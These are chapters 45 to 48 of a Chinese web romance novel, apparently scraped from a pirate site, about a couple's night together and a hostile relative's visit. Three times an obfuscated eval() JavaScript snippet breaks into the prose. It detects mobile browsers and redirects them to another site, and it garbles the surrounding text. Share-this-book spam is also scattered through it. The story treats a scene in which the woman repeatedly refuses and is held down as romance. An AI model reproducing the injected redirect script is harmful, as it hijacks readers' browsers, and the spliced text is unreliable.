刚跨出门槛她才发现—— 身后多了一道脚步声。 她下意识回头。 顾煜也跟了出来。 他已经把袖口随意卷了点神情自然得很像是本来就打算一起走。 见她看过来他低头对她笑了一下语气淡淡的：“我也去看看。” 言昭怔了一下。 …… 言昭教完回来时顾煜还在她身边。 进屋之后顾煜就去收拾碗筷言昭就开始打扫屋子。 阳光正好从窗外斜斜照进来落在床铺上亮得有些晃眼。 这么好的天气不洗床单实在可惜。 言昭刚想换被套没想到顾煜不让她今天洗“明天再洗。” 她有点疑惑今天明明最合适。 还没等言昭这点疑惑沉下去顾煜已经换了衣服准备出门买东西 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 。 买什么，她不知道。 家里似乎也不缺什么。 他本来要带她一起，她下意识拒绝了。 拒绝之后，甚至已经做好了他会坚持的准备，可这一次没有。 顾煜只是点点头就离开了。 门关上的那一刻，屋子忽然安静下来。 安静得有些过分。 言昭觉得今天的顾煜有点奇奇怪怪的…… …… 京大。 实验室里灯光明亮，空气里弥漫着熟悉的消毒水与金属器械混合的味道。 顾煜把手里的请假条递到教授面前。 教授接过来时很惊讶，目光在请假条和他脸上来回扫了两眼。 也没多说什么，只是关心了一句：“是身体不舒服吗？” 这顾煜可是没请过假，一般有什么事情都能快速完成。 “老师，不是。”顾煜摇头，解释道：“我爱人来京市之后，一直没带她出去走走，想陪她几天。” 教授失笑，脸上的表情松下来不少。 他点点头，把请假条放到一旁：“行，只不过三天够吗？要不要我多给你批几天？” 顾煜笑了笑，像是认真想了一下，才开口：“那谢谢教授。三天我要是没回来，就再多给我放一天假吧。” 教授被他这话逗得直乐，摆了摆手：“去吧去吧，实验室这边我给你盯着。” 顾煜应了一声，转身离开。 言昭这边把屋里里里外外都收拾了一遍。 地面擦得发亮，桌角、窗台都干干净净，连空气都像是清爽了几分。 她站在屋中央看了一眼，心里生出一种很实在的满足感，忍不住多看了两眼，才去洗手。 随后她把书拿出来，在桌前坐下。 晚上还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你额头怎么这么烫？她惊呼出声，“你是不是生病了？ 顾煜抓住了她要缩回去的手，然后重新贴回自己脸上，掌心压着脸颊位置上。 他低下头，侧脸在她掌心里轻轻蹭了蹭，像是在找一个能降温的地方，声音压得很低。 “我好热。 蹭得很慢，又很黏人。 言昭指尖一僵，掌心几乎是瞬间就被烫得发麻。 那股热度顺着皮肤往上爬，她甚至能清楚感觉到他呼吸贴近时带来的温度。 然后她自己的脸颊也跟着烧起来，心跳乱得不行。 言昭反应过来，立马在心里狠狠骂了自己一通。 人都这样了，她脑子里还在乱飘，真是要命。 她强行把注意力拉回来，语速一下子快了：“你这是生病了，我们去医院。 话刚出口，她就要拉着他起身。 下一秒，顾煜顺势扣住她的手，手臂一收，直接把人抱进怀里，让她一下子动不了。 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 他的额头从她肩侧滑下，脸颊贴着她的胸口蹭了蹭，隔着衣料，动作慢得不太像无意识。 “我应该不是生病。” 他说这话的时候，声音贴着她身体传上来，有点闷，又低。 言昭：“……那是什么？” 顾煜又蹭了一下，语气忽然压得更低，还带着一点不太明显的委屈。 “可能是吃到什么不干净的东西了。” 言昭被他蹭得整个人一僵，下意识“啊”了一声：“什么不干净的东西？” 顾煜抬起头，脸颊已经明显泛起一层不正常的红，从耳根一路蔓到颧骨，像是被热意逼出来的颜色，又湿又烫。 衬得这张向来冷静的脸多了点失控的意味。 “有些人，”他说，“总喜欢给我下药。” 这句话一落下，言昭整个人都愣住了。 城里竟然也有这种肮脏的事情？ 让她一时不知道该气愤还是心惊。 顾煜还抱着她，没有再动。 额头抵着她的肩，呼吸热得过分，却刻意放得很稳。 那双眼睛半抬不抬，湿沉沉地看着她，视线黏着她的表情，一点一点扫过，像是在观察她的反应，又像是在等一个许可。 不是凶，也不是狠。 更像是阴影里盯着猎物的那种耐心，安静，却让人避不开。 第46章 荒唐的一夜 言昭一听心里一紧立刻说道：“那更要去医院了我们快去医院。” 她说着就伸手去搀扶他起身动作又急又小心。 顾煜却摇了摇头声音低低的像是在忍着什么：“不行。这件事不能被人知道不然我会被学校开除。你把我扶到床上躺着吧。” 这句话让言昭愣了一下。 明明是受害的人却还要担心被牵连、被报复她一时间说不出反驳的话只觉得胸口发闷。 犹豫了片刻她还是点了头依着他说的来扶着他往床边走。 只不过在言昭低头的那一瞬间没看到顾煜侧过脸唇角悄然勾起了一道邪性的弧度又很快收了回去。 顾煜躺到床上后呼吸明显乱了起来低声说着：“好热”。 声音有点哑明显是真的难受。 他说着手已经去扯自己身上的衣服动作杂乱又没分寸扣子被拽得歪了领口勒在颈侧皮肤很快被磨出一片红痕。 言昭本能地想退开可看到他扯得越来越急脖颈那一圈红色越发明显她又实在看不下去连忙伸手阻止他这个行为。 她这一伸手无疑是给了顾煜可乘之机。 顾煜反手就扣住了她的手腕将她的手按在自己暴露的颈侧。 在自己掌心贴上去的那一瞬间言昭愣住了。 只觉得他身体温度高得惊人颈脖到锁骨一带泛着不正常的粉色像是被热气蒸过连细微的脉搏跳动都清晰得过分。 她几乎是本能地想要缩回手 “别动。” 顾煜的声音压得很低贴着她的指缝钻出来带着一点沙哑又黏又缓像是含着热气慢慢吐出来的。 “昭昭……”他又唤了一声尾音拖得很轻几乎要化开“我真的很难受。” 说出来的每个字都慢得过分像是把情绪一点点缠上来软着声线往她身上绕。 言昭被这触感和声音同时攫住一时间僵在原地。 她原本只是想阻止他胡乱扯衣服是没想到会变成这样掌心贴着他的颈侧热度一路往上窜连她自己都跟着乱了呼吸。 她喉咙发紧还是想要把自己的手抽回来说道：“你、你别乱动……我去弄个毛巾过来帮你好不好？” 顾煜没有立刻回应但是也没松手。 他只是微微偏了下头颈侧在她掌心轻轻蹭过一下。 言昭抽不回来手。 她被 你的朋友正在书荒，快去帮帮他吧 他按着，掌心贴在他颈侧，那一片温度烫得不正常，连带着她自己的指尖都发麻。 可他看起来又是真的难受。 不是装出来的那种轻佻，而是整个人都绷着，额角冒着细汗，连声音都发虚。 言昭一下子就慌了。 顾煜这么聪明的人，要是真烧坏了脑子怎么办？ 顾煜看着她眼眶泛红、很是着急的样子，他那双眼睛因为热意泛着湿，黑得发沉。 “你能不能亲亲我？” 言昭以为自己听错了，俯身凑近了一点，小心翼翼地问：“……你想要什么？” 话音刚落，顾煜忽然伸手，把她整个人抱进怀里。 言昭被他抱住的瞬间，只觉得一股滚烫的热意从他身上传过来，像被一团火裹住了。 他呼吸很重，胸腔起伏贴着她，近得让人心慌。 “想要你。” 他说得很低，很直白，没有绕弯。 这句话一落，言昭脑子“嗡”了一下。 她几乎是条件反射地开始挣扎，手抵在他肩上，声音一下子急了：“不行——顾煜，你别这样，你现在不清醒！” 她越挣，他抱得越紧了一瞬，像是被那股热和欲念推着往前。 可下一秒，他整个人忽然僵住了。 顾煜低低喘了一口气，像是被她这句话拽回来了一点理智。 他慢慢松开力道，没有再压她，只是额头抵着她的肩，呼吸依旧乱，却明显在忍。 “……对不起。”他的声音压得很低，哑得厉害，像是从喉咙深处挤出来的，“我没想吓你，对不起……” 言昭听着他一遍遍道歉，心口还是不争气地软了。 尤其是当她看见他为了强行忍住自己，把唇都咬破了，那一点鲜红格外刺眼。 顾煜慢慢转过身，背对着她。 肩背绷得很紧，随后身体开始细微地发抖。 紧接着是一点细碎的抽泣声传出来时，几乎被他咬着牙吞回去，可还是被言昭听得一清二楚。 她心口猛地一紧，哪里还顾得上别的，几乎是手脚并用地爬上床，靠近他，小声又急地问：“顾煜，你……你这样不行，你告诉我，我应该怎么帮你？” 顾煜没有立刻回答。 他侧过头，脸埋在枕边，呼吸断断续续的，像是缓了好一会儿，才慢慢抬眼看她。 那双眼睛通红，湿得厉害，睫毛都被汗和泪水打湿了，黑沉沉地望着她，带着一点压抑到极点的脆弱。 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 “那你……他声音轻得不像话，喉结滚了一下，“你能不能……摸摸我？ 这句话说得小心又迟疑，像是怕她拒绝，又像是已经没有别的办法。 言昭怔了一瞬。 她看着他这副样子，心里那点慌乱和防备忽然就散了，只剩下纯粹的担心。 她深吸了一口气，像是在给自己下定决心，声音放得很轻：“……好。 反正也只是摸摸。 而且自己也不是以前那个羞涩的女人，好歹也是经历了两辈子。 当言昭的指尖落在他颈侧的时候，她明显感觉到他整个人都绷紧了。 顾煜没忍住，低低闷哼了一声，像是被那一下触碰刺激到了。 言昭手指一顿，下意识想收回，可看到他眉头紧蹙、难受得几乎要蜷起来的样子，又咬牙忍住了。 她尽量放轻动作，只是贴着他的颈侧，小心地顺了一下，像是在安抚，又像是在试探。 “这样……可以吗？她低声问。 顾煜没有说话。 他只是闭上眼，喉间溢出一声极轻的喘息，肩背的颤抖开始慢慢缓下来了一点。 像是终于抓住了一根能让他撑住的线。 言昭刚要松口气，眼前却忽然一晃。 下一瞬，视线天旋地转，她甚至来不及反应，后背已经贴上了床铺。 她甚至没来得及看清过程，只感觉有人压了下来。 顾煜的呼吸贴得太近了。 他的指尖在发抖，明显不稳，可还是在扯开了她外衣的系带，动作急又乱。 衣襟被拉开了一半，凉意贴上皮肤，言昭猛地清醒过来。 她几乎是条件反射地抬手捂住自己，声音一下子乱了节奏。 “不行，不行……顾煜，这样不行！ 她慌乱地想往床边挪，想下去，想离开这张床。 可下一秒，她的下巴被人捏住了。 顾煜低下头，唇直接压了上来。 带着灼热呼吸的、失了分寸的碰触。 …… 渐渐的。 时间在言昭这里彻底失去了意义。 她的意识一阵一阵地断掉，又被某种强烈到无法忽视的感受硬生生拉回来。 晕过去。 再醒。 眼前的景象却总在变。 有时候是床上，灯光昏沉，空气里闷得厉害。 有时候她的视线是倾斜的，像是被抱着，又像是被放在了别的地方，床边、桌 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 角、窗前的冷光一闪而过连呼吸都带着回音。 她分不清自己到底晕晕醒醒了几次。 只知道每一次清醒身体都像被反复拆散又拼回去一样连指尖都是麻的。 顾煜始终在。 近得过分。 他的呼吸、体温、声音 乡下人嘴里也常说些荤话她从前听过不少只觉得粗糙又直白。 可那些话和此刻比起来简直算不得什么。 顾煜低低说出来的每一句都慢得要命贴在她耳边带着温度换着花样像是故意不让人有片刻喘息。 她连反应都来不及只能被动地承受。 到后来连难受都变得模糊了。 只剩下一种空茫的麻木。 等言昭再一次醒过来的时候天色已经暗得分不清时辰。 她喉咙发干意识迟钝只觉得整个人重得不像是自己的。 有人把她扶了起来。 杯沿贴上唇的时候她下意识抿了一下。 是温热的牛奶。 顾煜的手还在抖却很稳地托着她声音低低地哄：“乖昭昭多喝一点。” 言昭还没反应过来唇间已经被喂了一点甜味。 牛奶的温度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338015|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糖的甜意在两个人的呼吸间轮流出现。 她只来得及吞咽了一下根本唱不出来味道。 下一瞬意识再次坠下去。 世界重新归于一片黑暗。- 也不知道过了多久。 言昭的意识一点点浮上来。 她想睁开眼睛可眼皮子重得厉害怎么都抬不起来只能在黑暗里缓慢地找回呼吸。 过了好一会儿她才勉强掀开一条缝。 视线模糊得厉害天花板在眼前晃动她甚至分不清自己身在何处。 下一瞬身体传来的感觉猛地涌上来。 疼。 不是某一处而是从里到外像是被反复碾过无数遍的酸胀与刺痛一动念头连骨头缝里都在发麻。 言昭倒吸了好几口气呼吸一下子乱了。 喉咙干得发疼胸口起伏得厉害连指尖都不受控制地微微发颤。 就在这时那些断裂又混乱的画面毫无预兆地涌进脑海。 零碎的光影。 压低的声音。 过近的体温。 还有顾煜失控时贴得过近的呼吸。 此刻记忆像是被强行撕开了一角一 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 点点塞回言昭脑海中。 零碎，却清晰得过分。 她的脸“轰”地一下热了起来。 可紧接着浮上来的还有一阵迟来的恐惧。 顾煜明明看起来很纤瘦，在这件事上竟然这么强悍。 言昭试着动了一下。 只是想撑着床起身，哪怕坐起来也好。 可力气刚一用上，身上的疼痛就猛地被牵扯开来，她条件反射又倒吸了两口气。 那点细碎的疼顺着脊背往上爬，连腰腹都跟着发紧，让她根本使不上力。 她只能又跌回床上。 下一瞬，言昭脑袋也开始发晕。 不是那种一下子的黑，而是缓慢地发沉，像是血液一下子涌不上来，视线边缘泛起一层模糊的白。 就在这时，门被轻轻推开了。 脚步声很轻，在安静的房间里格外清晰。 言昭还没来得及反应，视线里便多出了一道身影。 顾煜。 他一眼就看见她醒了，然后几步就走到床边，声音压得很低，却带着掩不住的急切。 “昭昭，你醒过来了。” 言昭费力地掀起眼皮。 视线还有些发虚，可还是看清了站在床边的人。 现在的顾煜看起来精神得过分。 和她此刻的虚弱形成了对比。 他可能刚洗过脸。 额前的发丝还没完全干，湿漉漉地贴着皮肤，几缕顺着眉骨垂下来，落在眼尾，水汽没散，让那双眼睛看起来格外亮。 衣领随意敞着，呼吸平稳，整个人已经恢复成她熟悉的样子。 仿佛昨夜那些失控与混乱，从来都不曾发生过。 言昭看着他，一时间竟有些分不清现实。 顾煜在床边停了片刻，最后还是慢慢趴了下来。 位置离她不远，可又刻意留着一点距离。 他很想凑近，又在最后一刻停住了。 因为言昭现在脸色很白，眼神还躲着，连睫毛都微微发紧，那种明显的羞涩写在脸上。 顾煜觉得自己要是再靠近一点，肯定会把她吓到。 可偏偏—— 他已经是尝过滋味的人，内心是真的忍不住想贴近。 言昭自然是把顾煜这幅犹犹豫豫的样子看在眼里。 明明现在顾煜什么都没做，只是安安静静地趴在床边，可那张过分好看的脸、那点尚未散尽的水汽，还在像是无声地提醒着她—— 两人已经有夫妻之实了。 她一时间有点走神。 她的唇瓣轻轻软了下来。 此时顾煜已经俯身过来。 他的动作很慢，像是反复确认过她的反应，才轻轻贴上来。 只是很短的一下，唇碰着唇，带着温度，又很快分开。 言昭猛地回神。 心跳一下子乱了节拍，睫毛轻颤，整个人僵住了。 她还没来得及说什么，顾煜已经停住。 他没有再靠近，只是额头几乎要抵上她的，呼吸放得很轻，声音也低得不行。 “……我现在看到你，就还想要。” 第47章 吃过肉的顾煜更粘人 顾煜这句话一落下，不管他现在看起来多清俊，笑得多让人心动，言昭还是整个人跟着颤了一下。 那些被她好不容易压下去的画面，在这一刻又毫无征兆地翻涌上来。 混乱的温度、过近的呼吸，还有失去节奏的瞬间，一股脑儿往她脑子里撞。 她下意识攥紧了被角，指节微微泛白，身体明显绷住了，连呼吸都变得小心翼翼。 这一点反应，顾煜全看在眼里。 他叹了口气，那口气直接把心里的躁意也一并压了下去。 他伸手，小心地握住了她攥得发紧的那只手。 言昭还没反应过来，他已经低下头，在她指背上轻轻碰了一下。 他抬起头看着她，眼神比刚才清醒了许多，小心翼翼问：“昭昭，饿不饿？ 言昭连忙点头，动作有点急，声音也急：“……饿。 顾煜看见她这副反应，唇角终于扬起了点弧度，语气恢复成她熟悉的样子。 “好。 …… 肉糜粥还是温热的。 米粒煮得软烂，肉剁得细碎，入口几乎不用嚼，咸淡刚好。 言昭原本没什么胃口，可第一口下去，就明显感觉到身体一点点回暖。 她慢慢吃着。 接着是韭菜盒子。 外皮煎得金黄，边缘微脆，里面的馅还冒着热气，她一连吃了两个。 最后连那个肉包子也没剩下。 等放下筷子，她才后知后觉地发现，那种虚浮感已经退了下去，整个人像是被重新塞回了身体里，终于活了过来。 吃完东西，她重新躺回床上，把被子拉到胸口，身体还酸，却不再发冷。 她侧着头，看着顾煜在房间里来回忙。 他把碗筷收走去洗。 言昭这才注意到，床单和被套已经全换了，原来的也不在床边，大概已经拿去洗了。 不洗也没办法。 那场荒唐，连痕迹都太明显了。 只不过言昭盯着床铺看了两眼，脑子慢半拍地转了一下，忽然想起顾煜之前不让自己洗床单被套这件事。 难道……是因为两个人会荒唐这么一次？ 这个念头刚冒出来，她自己就先否定了。 顾煜不可能提前知道她会被下药，更不可能预料到事情会发展成这样。 大概只是觉得今天天气更好，换洗方便。 这么一想，她心里那点说不清的 听说看这本书的人都是很幸运的，分享后你的运气会更棒 别扭，才慢慢散了下去。 …… 言昭就这样在床上躺了三天。 整整三天。 别说下地，连坐久一点都不行，稍微一动，身上就跟被人拆过又装回去似的，又酸又疼。 顾煜学校也不去，说还在休息，然后每天把吃的喝的全送到床边，还亲自喂她。 言昭伺候惯了别人，现在被人伺候，那是浑身都尴尬。 可惜她每次拒绝，顾煜都会用其他办法来喂她。 第四天一早，顾煜出去买菜去了。 门就被敲响了。 先来的是王家婶子，后脚又跟着李家婶子，两人提着点东西。 她们进屋的时候，正好看见言昭躺在床上，脸色还有点白，被子盖到胸口，连翻身都慢吞吞的。 王家婶子当场就愣住了。 “哎哟，大妹子，你这是怎么了？ 李家婶子更直接，一拍大腿，语气里带着点急：“我就说那天晚上动静怎么那么大！我们在家都听见了。 “我也听到了，大妹子，你这是跟他吵什么了？夫妻过日子，动手可不行啊。 这话一出，言昭差点被自己的口水呛到。 一想到那些声音、那些混乱，全被邻里听了个清楚，她只觉得脑子嗡嗡作响，恨不得当场找条地缝钻进去。 一股热瞬间爬了上来，一下子从脖子根冲到她耳尖，连头皮都跟着发麻。 王家婶子看她不说话，脑袋低着，以为是被自己说的。 两个人开始苦口婆心地劝：“有什么事慢慢说，咱们女人得保护好自己，可不能受委屈。 言昭张了张嘴，又不知道该怎么说。 要是直接说不是吵架，那接下来就得说原因。 她只能顺着话答应。 这一声落下，两个婶子对视了一眼。 言昭低着头不说话，在她们眼里，分明就是还在受委屈的样子。 只是这种事，她们终究是外人，也不好再往深了说，只能在心里叹气。 而且现在言昭确实也不占理。 孩子一个都没生，还跑去读书，在她们眼里，本来就和寻常媳妇不一样。 等到两个婶子离开，屋里刚安静下来没多久，顾煜就卡着点回来了。 他手上拎着好几个袋子，大包小包的，一看就买了不少东西，放到桌上时还发出轻微的碰撞声。 言昭看见他进门，脑子里就不受控制地冒出刚才婶子们说的话。 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 那晚的动静，被人听见了。 这一想，她是又气，又羞。 言昭干脆一翻身，把被子往上一拉，直接盖住了脑袋，连个眼神都不给他。 顾煜知道她已经醒了，本来还想着过来问问她感觉怎么样，结果一回来就看见她这副反应，惊讶了一下。 他连忙放轻脚步走到床边，声音压得很低。 “怎么了？是身体又难受了吗？”他说着就要伸手：“要不要我给你再涂点药？” 这句话刚出口，言昭只觉得脸上的热意“蹭”地一下又炸开了。 开什么玩笑。 这药怎么可能还让他来涂！ 她语气又急又凶：“不用！”说完还不放心，干脆补了一句：“你现在离远点。” 顾煜听见她气急败坏的声音，就知道她不是难受，是在害羞，这才松了口气。 他隔着被子摸了摸她的脑袋，低声哄了一句：“那昭昭乖，我去做饭。” 过了一会。 言昭在被子里缓了缓，深吸一口气，强行把那点别扭和羞恼压下去。 再躺着也不像话。 她慢慢坐起身，皱着眉把衣服一件件穿好。 再矫情下去，指不定外头人要说成什么样。 更何况，她心里也急。 这几天一耽误，她就只上了一天课，后面全断了。 前几天还在盘算着考大学的事，现在别说大学，连眼前的日子都被拖住了。 酱也没卖出去多少桶。 这么一想，心里那点乱七八糟的情绪被现实一压，顿时消散了大半，只剩下实打实的着急。 …… 吃午饭的时候，顾煜就察觉出来了。 这女人又恢复成以前那副样子了。 神情冷静，说话利落，坐在那儿吃饭，仿佛这几天什么都没发生过，重新把“姐姐”的姿态拿了出来，稳稳地压着他。 顾煜不喜欢。 以前两个人什么都没有的时候，他还能忍，现在都是真正的夫妻了，她还这样若无其事，他反倒更忍不住。 于是手就不太老实了。 递碗的时候碰一下，转身的时候顺手一带，动作都不重，却偏偏带着点黏糊的意味。 言昭被他闹得脸一下子就红透了，偏偏还要装作镇定，最后实在忍不住，凶巴巴的来了一句：“你再碰我一下试试！” 话音刚落。 外头正好有人路过，脚步一停，还特意往屋里看了一眼。 空 听说看这本书的人都是很幸运的，分享后你的运气会更棒 气瞬间一静。 言昭：“……” 在乡下婆娘跟男人吵两句、打两下能被笑话好多天。 现在她也知道城里人比乡下人还嘴碎一点风声都能嚼出花来。 她叹了口气。 下一瞬顾煜忽然伸手把她抱进怀里。 “你为什么总要看别人脸色？”他的声音压得很低贴在她耳侧“过日子是咱们的。” 言昭被他抱得一愣下意识伸手去扒拉他。 顾煜没动。 她抿了抿唇语气一下子硬了点：“还不是你太过分了！” 顾煜侧过头看她离得很近呼出来的热气在她耳尖上散开低声问：“我怎么过分了？” 言昭这会儿是真的想原地炸开。 她怎么也没想到这人说话一套一套的现在反倒像是把她绕进去了。 明明该心虚的是他结果现在被堵得说不出话的却成了自己。 言昭伸手用力去扯他扣在自己腰上的那只手。 这一下是真使了劲。 顾煜猝不及防被她直接拽开。 言昭趁机往前一步头也不回地走了。 顾煜站在原地看着她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338016|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背影 力气这么足。 看来是恢复过来了。 这边言昭刚走到外头还没来得及站稳就被人叫住了。 “你好同志请问一下。” 她一抬头就看见几个人站在不远处清一色的中山装神情严肃说话也利落看起来就不是普通人。 “你是顾煜同志的家属吗？” 虽然顾煜带着言昭出去露脸但大多还是不认识言昭。 现在问只是觉得像。 这一句问得太突然言昭愣了一下没有立刻回答只是下意识打量了他们一眼心里多了几分警惕。 那几个人见她迟疑也没有催反而很快自我介绍了一句说自己是京大的。 “这几天顾煜同志没在学校他的家人来京市了我们过来带个话。” 言昭听到这里。 家人？ 她在听见对方是京大的连忙收起刚才的迟疑点了点头“我是他的爱人。” 这句话现在言昭说的有点底气了。 小心思不免让她有点害羞。 言昭跟着把人领回家的时候心里其实也在犯嘀咕。 顾煜的家人？ 顾家能来谁？ 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 顾家难不成还有她不认识的人？ 她正想着，门一推开，顾煜已经从屋里走了出来。 看见她的那一刻，他脸上明显一松，唇角先一步扬起来，眼神也柔了几分。 没想到她散心会这么快回来。 可下一秒。 他的目光越过她，看见她身后站着的那几个人。 顾煜脸上的笑意顿了一下。 随即，那点松散和温和被迅速收起，唇角还在，却已经变成了那种标准又疏离的笑。 他站直了身体，语气也跟着变得礼貌起来：“几位怎么过来了？” …… 言昭踏进京大学校的那一刻，她脸色难看得厉害。 她是真的没想到，来的人会是顾城。 不仅他来了，还带着李玲来了，现在两人直接找到学校去了。 言昭坐在那里，心里一阵一阵发冷。 当初在乡下，她就是想着顾城已经得了绝症，这事一旦闹开，他在乡下脸面尽失，只能拖着那副身体活活等死。 被日子一点点折磨完，也算是报应。 可现在，言昭是真的后悔了。 在乡下的时候，就应该给他一包老鼠，直接把他弄死算了。 现在京大已经知道顾城是顾煜的亲哥哥了。 这件事要是闹的不好，会让顾煜坐牢的。 顾煜注意到她一路低着头，神情沉郁，像是在想什么。 他伸手握住了她的手，力道收紧了一瞬。 现在两人是真正的夫妻了，不管她心里面怎么想的，都不允许，现在只能想着他。 言昭感受到他握着的力度，只不过这一次她没有像从前那样在外面甩开，而是任由他握着。 这个反应，并没有让顾煜高兴。 反而让他心里更沉了一分。 …… 另一边的房间里，顾城站着没坐。 他慢慢扫了一眼四周，目光在窗户、桌椅、墙上的字报上转了一圈，嘴角扯出一点阴沉的笑。 “这小子，原来是在这么大的学校读书。”他说着，语气里全是嫉妒：“克死人的狗东西竟然活的这么好。” 旁边的李玲低着头，眼睛都不敢乱看。 在队里她还能撒泼耍横，可这是京市，她心里发虚，只能强撑着站着。 顾城身上那股散不开的臭味往外冒，她忍着恶心，还是下意识往他那边凑了凑，想讨个安全。 下一秒，顾城直接抬脚踹了过去。 “滚远点。” 那一脚不轻，李玲被踹得踉跄了一下，怀里的包裹也跟着掉在地上，东西散了一地。 顾城低头看了一眼，冷笑一声：“没用的东西，老子的东西都被你丢了。” 李玲咬着牙，一声不敢吭，只能蹲下去捡。 屋里的动静不小。 粗重的骂声一一句句往外冒，夹杂着拖拽、踢踹的声响，混在一起。 那声音黏腻又刺耳，像是喉咙里卡着痰，说一句就往外喷一句，让人下意识生出反胃的感觉。 门外的几个人不由得对视了一眼，神色都有些微妙。 这真的是顾煜的亲哥哥？ 第48章 分明一只手都握不住 言昭忍不住伸手拉住顾煜。 力度很大。 她抬头看他，声音压得很低，带着发颤，“你别让他们留下来，好不好？ 这句话说出来的时候，语气是没掩饰的哀求。 她当然清楚，顾煜和顾城之间从来不和睦，也知道顾煜做事向来有分寸。 可理智是一回事，心里的不安又是另一回事。 她怕他会让那两个人回去住一晚。 言昭知道顾城这种人一旦住进来，就会变成甩不掉的麻烦。 更怕事情闹大，最后全落在顾煜身上。 她没再多说什么，只是攥着他的衣袖不放，指节泛白，情绪正在一点点往外溢。 顾煜低头看了她一眼。 目光在她紧绷的手指上停了片刻。 他本来暗沉的眼睛，此刻像是被什么拨开了一层。 那层弥漫在眼睛表面的黑雾跟着散了几分。 他眨了下眼，视线重新落回她脸上，语气低了下来，刻意放慢了些。 “你不愿意他们去我们的家？ 最后那四个字，他咬得很重。 言昭几乎没犹豫，点头。 “不愿意。而且他们还生病了，是传染病。 本来听到前面三个字的顾煜忍不住扬起的那点嘴角弧度，可瞬间又被他自己压了回去。 像是被什么生生按住。 他侧过头看她，眼神重新变得深了一点。 “所以，他慢慢问，“你是不愿意他们去，是因为他们有传染病？ 言昭愣了一下。 她就有点想不明白了。 这人怎么总在这种地方钻牛角尖？ 明明听见“传染病这三个字，正常人的反应不该是立刻拒绝吗？ 还是说……他根本不知道这个病有多严重？ 言昭赶紧解释：“这个病真的很严重，治不好的。沾上一点，这辈子就完了，咱们得在意点。 顾煜听完，忽然笑了一下。 那笑意很温柔，像是一下子被她哄住了情绪。 他抬手，在她脸颊上轻轻捏了一下，指腹的力道很轻，语气也放得很低：“好，我听你的。 言昭松口气。 可她没看见的是，他垂在身侧的另一只手，已经紧紧攥成了拳，骨节一节节泛白，像是在用力压着什么。 言昭跟着顾煜走到门口的时候，她脑子里其实有点乱。 在想着等会怎么努力压着胃里的 听说看这本书的人都是很幸运的，分享后你的运气会更棒 那点翻腾，生怕自己一个没忍住，当场吐出来，那就更难看了。 哪知道她还没想好，顾煜直接把情况跟门口的老师说明了。 说顾城和李玲身上有严重的传染病，病情不轻，不适合继续在学校范围内停留，希望学校这边立刻联系医院的人来处理。 这句话一落下，门口那几个老师的表情瞬间就变了。 原本还站得不算远的，立刻下意识往后退了两步，彼此对视了一眼，连声音都压低了不少，谁也不敢再靠近门口。 原来这两人身上那么难闻竟然是身上有病？ 言昭站在一旁，她是真没想到，顾煜能这么快就用最合理、也最省事的办法解决了。 聪明的脑子就是好用。 半个小时过去，屋里一直没动静。 顾城等得越来越不耐烦，在屋里来回踱步，嘴里骂骂咧咧：“人怎么还没来？这破学校不会根本没给我通知吧？ 他越说越烦躁，话音落下时，手已经不自觉地往身上抓。 先是脖子，接着是手臂。 那股痒意像是从皮肉里往外钻，他抓得又急又狠，指甲划过皮肤，留下道道红痕。 没一会儿，那一颗颗鼓起来的脓疱被抓破，开始渗出浑浊的液体。 顾城低头看了一眼，脸色变了变，却还是强撑着啐了一口，骂得更凶了。 又等了一会儿，门外终于传来敲门声。 顾城先是一愣，随即脸上一喜。 他下意识以为是言昭过来了，连骂声都收了几分，忙不迭地低头整理衣服，把身上那些抓破的地方尽量往衣服里遮，还抬手胡乱抹了两下头发，勉强弄出点人样。 李玲也跟着紧张起来，贴着他站好，脸上挤出一点讨好的表情。 门一开。 哪知道出现在门口的不是顾煜，也不是言昭。 而是几个人，清一色穿着白色的衣服，从头到脚包得严严实实。 顾城愣住了。 还没等他反应过来，那几个人已经直接进门，动作干脆利落，几乎没有给人说话的机会，一左一右把他和李玲按倒在地。 顾城被压得一懵，随即就炸了。 “你们谁啊！ 话还没说完，他嘴里喷出来的口水就被人看在眼里。 下一瞬，其中一人毫不犹豫地抬手，用准备好的东西直接堵了上去。 屋里只剩下被压制住的挣 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 扎声。 …… 顾煜去和学校的领导说话了。 言昭没跟过去，一个人坐在花园里的长椅上。 树影落在地上，被风吹得一晃一晃，学生从小路上走过去，说话声压得很低，一切都显得安静又有秩序。 她打量着四周，现在自己的心态已经和第一次来京大时完全不一样了。 那时候她刚从乡下来，走进京市，连呼吸都小心翼翼。 